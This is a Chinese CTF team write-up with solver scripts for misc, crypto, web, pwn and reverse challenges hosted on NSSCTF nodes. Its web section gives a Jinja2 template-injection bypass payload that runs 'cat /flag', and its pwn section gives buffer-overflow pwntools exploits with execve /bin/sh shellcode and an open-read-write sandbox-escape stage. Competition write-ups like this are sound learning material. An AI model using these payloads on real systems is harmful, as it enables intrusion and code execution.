前言
本篇WriteUP为B@0、ccc、Boogipop、树木共同编写,感谢三位师傅带我打比赛拿了个第五Orz
Misc
签到
关注微信公众号发送指令得到flag
Matryoshka
解压附件得到一个zip和一个txt,看看txt的内容
不难发现,是将数字和一些运算符号给用英文替换了,我们手动计算一下,但是解压发现并不是密码,我开始怀疑是不是思路错了,然而。。。
队友说是直接从左往右算,而不是先乘除后加减,所以不能用eval,这里自己造个轮子打一打
import re, zipfiledef replace_words(line):line = line.replace("one", "1")line = line.replace("two", "2")line = line.replace("three", "3")line = line.replace("four", "4")line = line.replace("five", "5")line = line.replace("six", "6")line = line.replace("seven", "7")line = line.replace("eight", "8")line = line.replace("nine", "9")line = line.replace("zero", "0")line = line.replace("plus", "+")line = line.replace("minus", "-")line = line.replace("times", "*")line = line.replace("divided", "/")line = line.replace("mod", "%")return linedef eval_line(line):tokens = re.findall(r"\d+|[\+\-\*/%]", line)result = int(tokens[0])i = 1while i < len(tokens):if tokens[i] == '+':result += int(tokens[i + 1])elif tokens[i] == '-':result -= int(tokens[i + 1])elif tokens[i] == '*':result *= int(tokens[i + 1])elif tokens[i] == '/':result /= int(tokens[i + 1])elif tokens[i] == '%':result %= int(tokens[i + 1])i += 2return int(result)number = 1000while(number > 1):with open("password"+str(number)+".txt") as f:password = f.read()password = replace_words(password)print(password)result = eval_line(password)print(result)with zipfile.ZipFile("Matryoshka"+str(number)+".zip") as my_zip:my_zip.extractall(pwd=str(result).encode())number = number - 1print(number)
然后脚本挂着挂着寄了
还以为是模运算优先级问题,跟chatgpt扯皮半天,结果我的队友发现密码不要负数,让我试试绝对值,那我就加上绝对值试试
while(number > -1):with open("password"+str(number)+".txt") as f:password = f.read()password = replace_words(password)print(password)result = abs(eval_line(password))print(result)with zipfile.ZipFile("Matryoshka"+str(number)+".zip") as my_zip:my_zip.extractall(pwd=str(result).encode())number = number - 1print(number)
你别说,你还真别说,真就是那个绝对值的问题,加上abs后完美解决,成功拿到flag
NSSCTF{4u70m473_3v3ry7h1n6}
pixelart
拿到附件,看到很像flag的东西
直接肉眼OCR,读半天读了个fake的flag,气死我了!!!
再继续尝试,发现美腿部分也有一部分像素点,用PS读一下RGB,然后PIL造个轮子提一下
def image_read(image_path: str, logger: logging.Logger) -> tuple:"""将输入的图像文件(文件路径)进行读取,并逐行扫描后,将像素数据写入列表对象并返回Args:image_path (str): 图像文件的路径Returns:tuple: (X_image:int, Y_image:int, img_pixels:list, img_data_image:Image)X_image (int): 图像文件的路径Y_image (int): 二进制数据的处理顺序img_pixels (int): 图像的像素数据img_data_image (Image): 图像对象"""img_data_image = Image.open(image_path)img_data_image.convert("RGBA")X_image, Y_image = img_data_image.sizeimg_pixels = []for y in range(Y_image):for x in range(X_image):img_pixels.append(img_data_image.getpixel((x, y)))return X_image, Y_image, img_pixels, img_data_image
调用轮子,提取所有像素点
from images import imagesimport loggingfrom PIL import Imagelogger = logging.getLogger("zeus-log")logger.setLevel(logging.DEBUG)if __name__ == "__main__":X, Y, img, im = images.image_read("./arcaea.png", logger)imm = Image.new("RGB", (320, 180))m, n = 0, 0for i in range(0, Y, 12):for j in range(0, X, 12):pixel = img[i*X+j]imm.putpixel((m, n), pixel)m += 1n += 1m = 0imm.show()
得到一张非常哇塞的图片,但是没有flag
zsteg跑一下,这次有flag了捏
NSSCTF{J3st_2_cats_battling}
Crypto
Absolute_Baby_Encrytpion
签到题,单表替换密码,表都给了,费点功夫逆个表
encryptedString = input("Enter an encrypted string: ")charArray = list(encryptedString)decryptedString = ""hasInvalidCharacter = Falsefor char in charArray:if char == '!':decryptedString += 'a'elif char == '1':decryptedString += 'b'elif char == ')':decryptedString += 'c'elif char == 'v':decryptedString += 'd'elif char == 'm':decryptedString += 'e'elif char == '+':decryptedString += 'f'elif char == 'q':decryptedString += 'g'elif char == '0':decryptedString += 'h'elif char == 'c':decryptedString += 'i'elif char == ']':decryptedString += 'j'elif char == '(':decryptedString += 'k'elif char == '}':decryptedString += 'l'elif char == '[':decryptedString += 'm'elif char == '8':decryptedString += 'n'elif char == '5':decryptedString += 'o'elif char == '$':decryptedString += 'p'elif char == '*':decryptedString += 'q'elif char == 'i':decryptedString += 'r'elif char == '>':decryptedString += 's'elif char == '#':decryptedString += 't'elif char == '<':decryptedString += 'u'elif char == '?':decryptedString += 'v'elif char == 'o':decryptedString += 'w'elif char == '^':decryptedString += 'x'elif char == '-':decryptedString += 'y'elif char == '_':decryptedString += 'z'elif char == 'h':decryptedString += '0'elif char == 'w':decryptedString += '1'elif char == 'e':decryptedString += '2'elif char == '9':decryptedString += '3'elif char == 'g':decryptedString += '4'elif char == 'z':decryptedString += '5'elif char == 'd':decryptedString += '6'elif char == '~':decryptedString += '7'elif char == '=':decryptedString += '8'elif char == 'x':decryptedString += '9'elif char == 'j':decryptedString += '!'elif char == ':':decryptedString += '@'elif char == '4':decryptedString += '#'elif char == 'b':decryptedString += '$'elif char == '`':decryptedString += '%'elif char == 'l':decryptedString += '^'elif char == '3':decryptedString += '&'elif char == 't':decryptedString += '*'elif char == '6':decryptedString += '('elif char == 's':decryptedString += ')'elif char == 'n':decryptedString += '_'elif char == ';':decryptedString += '+'elif char == '\'':decryptedString += '-'elif char == 'r':decryptedString += '='elif char == 'k':decryptedString += '`'elif char == 'p':decryptedString += '~'elif char == '\"':decryptedString += '{'elif char == '&':decryptedString += '}'elif char == '/':decryptedString += '['elif char == '\\':decryptedString += ']'elif char == '2':decryptedString += '|'elif char == '.':decryptedString += ':'elif char == '%':decryptedString += ';'elif char == '|':decryptedString += '\"'elif char == ',':decryptedString += '\''elif char == '@':decryptedString += '<'elif char == '{':decryptedString += '>'elif char == 'u':decryptedString += ','elif char == '7':decryptedString += '.'elif char == 'y':decryptedString += '?'elif char == 'a':decryptedString += '/'else:hasInvalidCharacter = Trueif hasInvalidCharacter:decryptedString = "Invalid String!"else:print(f"Your decoded string is {decryptedString}")
Math Problem
根据椭圆曲线的性质,直接copper出x,然后用small_roots求p,最后常规RSA解密,搞定
from Crypto.Util.number import *import gmpy2e = 65537n = 79239019133008902130006198964639844798771408211660544649405418249108104979283858140199725213927656792578582828912684320882248828512464244641351915288069266378046829511827542801945752252863425605946379775869602719406340271702260307900825314967696531175183205977973427572862807386846990514994510850414958255877c = 45457869965165575324534408050513326739799864850578881475341543330291990558135968254698676312246850389922318827771380881195754151389802803398367341521544667542828862543407738361578535730524976113729406101764290984943061582342991118766322793847422471903811686775249409300301726906738475446634950949059180072008a = 9303981927028382051386918702900550228062240363697933771286553052631411452412621158116514735706670764224584958899184294505751247393129887316131576567242619b = 9007779281398842447745292673398186664639261529076471011805234554666556577498532370235883716552696783469143334088312327338274844469338982242193952226631913y = 970090448249525757357772770885678889252473675418473052487452323704761315577270362842929142427322075233537587085124672615901229826477368779145818623466854PR = PolynomialRing(base_ring=Zmod(n), names=('x',))x = PR.gen()f = x**3 + a*x + b - y**2f = f.monic()x0 = f.small_roots(X=2**64, beta=0.4, epsilon=0.01)[0]f = x0**3 + a*x0 + b - y**2p = gmpy2.gcd(int(f), n)q = n // pphi = (p - 1) * (q - 1)d = gmpy2.invert(e, phi)m = pow(c, d, n)print(long_to_bytes(m))
babylua
拿chatgpt做的 233 虽然不是密码手 但是还是出了一题
虽然看不懂lua语言 丢给gpt分析以后知道了 主要逻辑 从大小写字母中随机抽取4个字符 经过md5加密以后 给出了前10位 这里需要第一次遍历是哪四个字符 最后得知是kKpU
爆破字符的脚本:
from hashlib import md5from itertools import productdic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'seed_list = [''.join(x) for x in product(dic, repeat=4)]for seed in seed_list:key = md5(md5(seed.encode()).hexdigest().encode()).hexdigest()[:10]if key == 'b5e62abe84':print(seed)break
得到flag的脚本
from hashlib import md5key = md5(md5(b'kKpU').hexdigest().encode()).hexdigest().encode()s = '200 161 198 157 173 169 199 150 105 163 193 175 173 194 135 131 135 225'.split()for i in range(len(s)):print(chr(int(s[i]) - key[i]), end='')
最后其实就是利用把s的每一位对应的key 减去就行了
Web
hate eat snake
改前端JS.
受不了一点
我也一点都受不了这题目,无语,你自己品
POST /?aaa=114514a&bbb=114514b HTTP/1.1Host: node6.anna.nssctf.cn:28329Content-Length: 31Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1Origin: http://node6.anna.nssctf.cn:28329Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://node6.anna.nssctf.cn:28329/?aaa=114514a&bbb=114514bAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7cookie: cookie=j0k3rConnection: closegdou%5B%5D=1&ctf%5B%5D=2&flag=1
请求包如上,发送即可获得
EZ WEB
我会发PUT请求
<ez_ze>
随便掏了个payload
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set xxx=dict(o=a,s=a)|join%}{%print(lipsum|attr(glo)|attr(a+a+'get'+'item'+a+a)(xxx)|attr('po'+'pen')('cat /flag')|attr('read')())%}x`
Pwn
EASY PWN
表面上看起来是猜测/dev/urandom中的随机数 但是实际上能否获取flag是依靠v5的值 使其为1即可获取flag
s1字符串的读入是采取gets函数 存在溢出 只需要0x1f-0x4的垃圾数据 就能够到v5
from pwn import*from struct import packfrom ctypes import *from LibcSearcher import*#io = process("./pwn")io = remote("node5.anna.nssctf.cn",28952)elf = ELF("./pwn")libc = ELF("./libc.so.6")context.log_level = "debug"context.arch = "amd64"io.recvuntil("Password:")payload = cyclic(0x1f-0x4)+p32(1)io.sendline(payload)io.recv()io.recv()
Shellcode
板子题 有往bss段读入shellcode的机会 也有栈溢出 那就直接跳转就好了
from pwn import*from struct import packfrom ctypes import *from LibcSearcher import*#io = process("./pwn")io = remote("node6.anna.nssctf.cn",28966)elf = ELF("./pwn")libc = ELF("./libc.so.6")context.log_level = "debug"context.arch = "amd64"io.recvuntil("Please.")shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'io.send(shellcode)io.recvuntil("Let's start!")payload = cyclic(0xa+0x8)+p64(0x6010A0)io.send(payload)io.interactive()
真男人下120层
考的伪随机数 虽然拿了时间当种子 但是我们脚本也可以利用时间当种子 一般不会偏差到哪里去 概率失败
虽然但是 还是要吐槽一句 伪随机数真的考烂了 我第一篇wp就是关于伪随机数的
from pwn import*from struct import packfrom ctypes import *from LibcSearcher import*#io = process("./pwn")io = remote("node5.anna.nssctf.cn",28082)elf = ELF("./pwn")#libc = ELF("./libc.so.6")libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')context.log_level = "debug"context.arch = "amd64"seed = libc.time(0)libc.srand(seed)libc.srand(libc.rand() % 3 - 1522127470)for i in range(120):io.recvuntil("\n\n")buf = libc.rand() % 4 + 1io.sendline(str(buf))io.recvuntil("Congratulation!")flag = io.recvuntil("}")print(flag)
Random
手写shellcode的题 就是不理解为什么一定要塞随机数进来。。。出题人这么喜欢伪随机数吗
思路就是构造read往其他rwxp权限地址写orw 因为开启了沙盒 本来有想过不赋值rsi了 直接在栈上写 但是试了下 本地能通 远程估计因为libc版本的原因 偏移不对 失败了 耽误了点时间 痛失血
vmmap查看一下 0x601000可以用来当中转
from pwn import*from ctypes import *#io = process("./pwn")io = remote("node5.anna.nssctf.cn",28381)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']elf = ELF("./test")libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")#libc = ELF("buu16_64.so")context.arch = "amd64"seed = libc.time(0)libc.srand(seed)io.recvuntil("please input a guess num:")buf = libc.rand()%50io.sendline(str(buf))io.recvuntil("your door")shellcode = """xor eax,eaxshl edx,12mov esi,0x601700syscalljmp rsi"""jmp_rsp = 0x000000000040094epayload = cyclic(0x28)+p64(jmp_rsp)+asm(shellcode)# gdb.attach(io,'b *0x400949')# pause(0)io.send(payload)shellcode = asm('''push 0x67616c66mov rdi,rspxor esi,esipush 2pop raxsyscallmov rdi,raxmov rsi,rspmov edx,0x100xor eax,eaxsyscallmov edi,1mov rsi,rsppush 1pop raxsyscall''')io.send(shellcode)flag = io.recvuntil("}")print(flag)
Reverse
Check_Your_Luck
z3解题即可
from z3 import *v,w,x,y,z= Ints("v w x y z")solver = Solver()#check '76876' '77776'solver.add(v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322)solver.add(v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724)solver.add(v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529)solver.add(v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457)solver.add(v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)solver.check()result = solver.model()print(result)# flag{4544_123_677_1754_777}#print("flag{" + result["v"] + "_" + result["w"] + "_" + result["x"] + "_" + result["y"] + "_" + result["z"] + "}")
doublegame
第一个游戏是贪吃蛇,修改分数跳过即可。第二个游戏是迷宫,迷宫又分两步,第一步走到 从@走到 * ,第二步走出去。
然后flag格式是
0000000000000000000000 0 0 0 0 0 00 0 0 00000 00000 0 00 0 0 00 000 000 0 000 0 0 00 0 0 0 0 0 0 00 0 0 00000 000 000 00 0 0 0 0 00 000 0 0 000 0 0 0 00 0 0 0 0 0 0 0 00 00000 000 000 0 0 00 0 0 0 0000 0 0 0 000 0 0 0 00 0 0 0 0 0 * 0 0 0 00 0000000 0 000 00000@ 0 0 0 00 0 0 0 0 000000000000 0 0 0 0000 0 00000 0 000 0000 0 0 0 0000000000000000000000dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd
最高分:13371337NSSCTF{5AFFF098B4E0757913371337}NSSCTF{811173B05AFFF098B4E0757962127EAC13371337}NSSCTF{811173b05afff098b4e0757962127eac13371337} //正确的NSSCTF{5afff098b4e0757913371337}
NSSCTF{811173b05afff098b4e0757962127eac13371337}
Tea
xtea算法
有了key和密文解密即可
#include <stdio.h>#include <cstdint>#include <windows.h>void De(DWORD* enc, DWORD* key){int v2; // [rsp+44h] [rbp+24h]int i; // [rsp+64h] [rbp+44h]unsigned int v4; // [rsp+84h] [rbp+64h]unsigned int sum; // [rsp+C4h] [rbp+A4h]for (i = 8; i >= 0; --i){v4 = 0;sum = 0xF462900 * i + 0xF462900 * 33;v2 = i + 1;do{++v4;sum -= 0xF462900;enc[v2] -= (sum + key[(sum >> 11) & 3]) ^ (enc[i] + ((enc[i] >> 5) ^ (16 * enc[i])));enc[i] -= sum ^ (enc[v2] + ((enc[v2] >> 5) ^ (16 * enc[v2]))) ^ (sum + key[sum & 3]);} while (v4 <= 32);}}DWORD key[4] = {0x8B9, 0x1167, 0x1A15, 0x22C3};DWORD data[10] = { 0x1A800BDA, 0xF7A6219B, 0x491811D8, 0xF2013328, 0x156C365B, 0x3C6EAAD8, 0x84D4BF28, 0xF11A7EE7,0x3313B252, 0xDD9FE279 };int main() {De(data, key);for (int i = 0;i < 10;i++) {printf("0x%x ", data[i]);}return 0;}
每日emo
【天上皎皎明月光,人间匆匆少年郎,脚步最匆匆】